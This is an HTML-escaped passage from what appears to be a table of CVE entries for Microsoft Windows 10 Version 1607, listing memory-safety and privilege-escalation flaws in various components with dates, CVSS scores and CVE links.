&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80096&quot; target=&quot;_blank&quot;&gt;CVE-2026-80096&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Imaging Component allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83992&quot; target=&quot;_blank&quot;&gt;CVE-2026-83992&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Error Reporting allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83996&quot; target=&quot;_blank&quot;&gt;CVE-2026-83996&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Remote Desktop Client allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83998&quot; target=&quot;_blank&quot;&gt;CVE-2026-83998&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Concurrent execution using shared resource with improper synchronization (&#039;race condition&#039;) in Windows Ancillary Function Driver for WinSock allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-50349&quot; target=&quot;_blank&quot;&gt;CVE-2026-50349&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows Server allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56177&quot; target=&quot;_blank&quot;&gt;CVE-2026-56177&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-62694&quot; target=&quot;_blank&quot;&gt;CVE-2026-62694&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Authentication bypass by spoofing in Windows Netlogon allows an unauthorized attacker to perform spoofing over an adjacent network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-62759&quot; target=&quot;_blank&quot;&gt;CVE-2026-62759&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Active Directory Certificate Services (AD CS) allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-62810&quot; target=&quot;_blank&quot;&gt;CVE-2026-62810&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Active Directory Domain Services allows an authorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-62813&quot; target=&quot;_blank&quot;&gt;CVE-2026-62813&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Integer overflow or wraparound in Windows NTFS allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68832&quot; target=&quot;_blank&quot;&gt;CVE-2026-68832&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows Print Spooler Components allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68835&quot; target=&quot;_blank&quot;&gt;CVE-2026-68835&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows File History Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68837&quot; target=&quot;_blank&quot;&gt;CVE-2026-68837&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Concurrent execution using shared resource with improper synchronization (&#039;race condition&#039;) in Windows USB Driver allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68840&quot; target=&quot;_blank&quot;&gt;CVE-2026-68840&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows NTFS allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68841&quot; target=&quot;_blank&quot;&gt;CVE-2026-68841&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Storage Spaces Controller allows an authorized attacker to execute code locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68844&quot; target=&quot;_blank&quot;&gt;CVE-2026-68844&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Program Compatibility Assistant Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68845&quot; target=&quot;_blank&quot;&gt;CVE-2026-68845&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows Kernel allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68846&quot; target=&quot;_blank&quot;&gt;CVE-2026-68846&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Print Spooler Components allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68848&quot; target=&quot;_blank&quot;&gt;CVE-2026-68848&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Buffer over-read in Windows NTFS allows an authorized attacker to execute code locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68875&quot; target=&quot;_blank&quot;&gt;CVE-2026-68875&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Storage Spaces Controller allows an authorized attacker to execute code locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68877&quot; target=&quot;_blank&quot;&gt;CVE-2026-68877&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68884&quot; target=&quot;_blank&quot;&gt;CVE-2026-68884&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Microsoft Standard XPS allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68885&quot; target=&quot;_blank&quot;&gt;CVE-2026-68885&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows Message Queuing Queue Manager allows an unauthorized attacker to deny service over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68887&quot; target=&quot;_blank&quot;&gt;CVE-2026-68887&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Microsoft Standard XPS allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68888&quot; target=&quot;_blank&quot;&gt;CVE-2026-68888&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Microsoft Standard XPS allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68889&quot; target=&quot;_blank&quot;&gt;CVE-2026-68889&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Microsoft Standard XPS allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68890&quot; target=&quot;_blank&quot;&gt;CVE-2026-68890&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Microsoft Standard XPS allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68892&quot; target=&quot;_blank&quot;&gt;CVE-2026-68892&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows Remote Desktop Licensing Service allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68893&quot; target=&quot;_blank&quot;&gt;CVE-2026-68893&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Microsoft Standard XPS allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68897&quot; target=&quot;_blank&quot;&gt;CVE-2026-68897&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows NTFS allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69265&quot; target=&quot;_blank&quot;&gt;CVE-2026-69265&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Integer underflow (wrap or wraparound) in Microsoft Standard XPS allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69269&quot; target=&quot;_blank&quot;&gt;CVE-2026-69269&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows USB Audio Class driver (usbaudio.sys) allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69270&quot; target=&quot;_blank&quot;&gt;CVE-2026-69270&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Microsoft Standard XPS allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69272&quot; target=&quot;_blank&quot;&gt;CVE-2026-69272&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows Win32K allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69274&quot; target=&quot;_blank&quot;&gt;CVE-2026-69274&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Kernel Streaming WOW Thunk Service Driver allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69275&quot; target=&quot;_blank&quot;&gt;CVE-2026-69275&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Stack-based buffer overflow in Microsoft Local Security Authority Server (lsasrv) allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69277&quot; target=&quot;_blank&quot;&gt;CVE-2026-69277&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows Push Notifications allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69280&quot; target=&quot;_blank&quot;&gt;CVE-2026-69280&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows CD-ROM Driver allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69283&quot; target=&quot;_blank&quot;&gt;CVE-2026-69283&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows DCOM Server allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69284&quot; target=&quot;_blank&quot;&gt;CVE-2026-69284&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows Remote Desktop Services allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69287&quot; target=&quot;_blank&quot;&gt;CVE-2026-69287&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Improper link resolution before file access (&#039;link following&#039;) in Windows Setup Files Cleanup allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69289&quot; target=&quot;_blank&quot;&gt;CVE-2026-69289&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Stack-based buffer overflow in Windows Storage Spaces Controller allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69290&quot; target=&quot;_blank&quot;&gt;CVE-2026-69290&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Double free in Remote Desktop Gateway Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69292&quot; target=&quot;_blank&quot;&gt;CVE-2026-69292&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Biometric Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69293&quot; target=&quot;_blank&quot;&gt;CVE-2026-69293&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows USB Driver allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69295&quot; target=&quot;_blank&quot;&gt;CVE-2026-69295&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows Device Association Service allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69296&quot; target=&quot;_blank&quot;&gt;CVE-2026-69296&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Integer overflow or wraparound in Windows Biometric Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69298&quot; target=&quot;_blank&quot;&gt;CVE-2026-69298&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69305&quot; target=&quot;_blank&quot;&gt;CVE-2026-69305&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows USB Audio Class driver (usbaudio.sys) allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69307&quot; target=&quot;_blank&quot;&gt;CVE-2026-69307&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Double free in Windows Print Spooler Components allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69309&quot; target=&quot;_blank&quot;&gt;CVE-2026-69309&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows DNS allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69310&quot; target=&quot;_blank&quot;&gt;CVE-2026-69310&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows Audio Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69311&quot; target=&quot;_blank&quot;&gt;CVE-2026-69311&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows NTFS allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
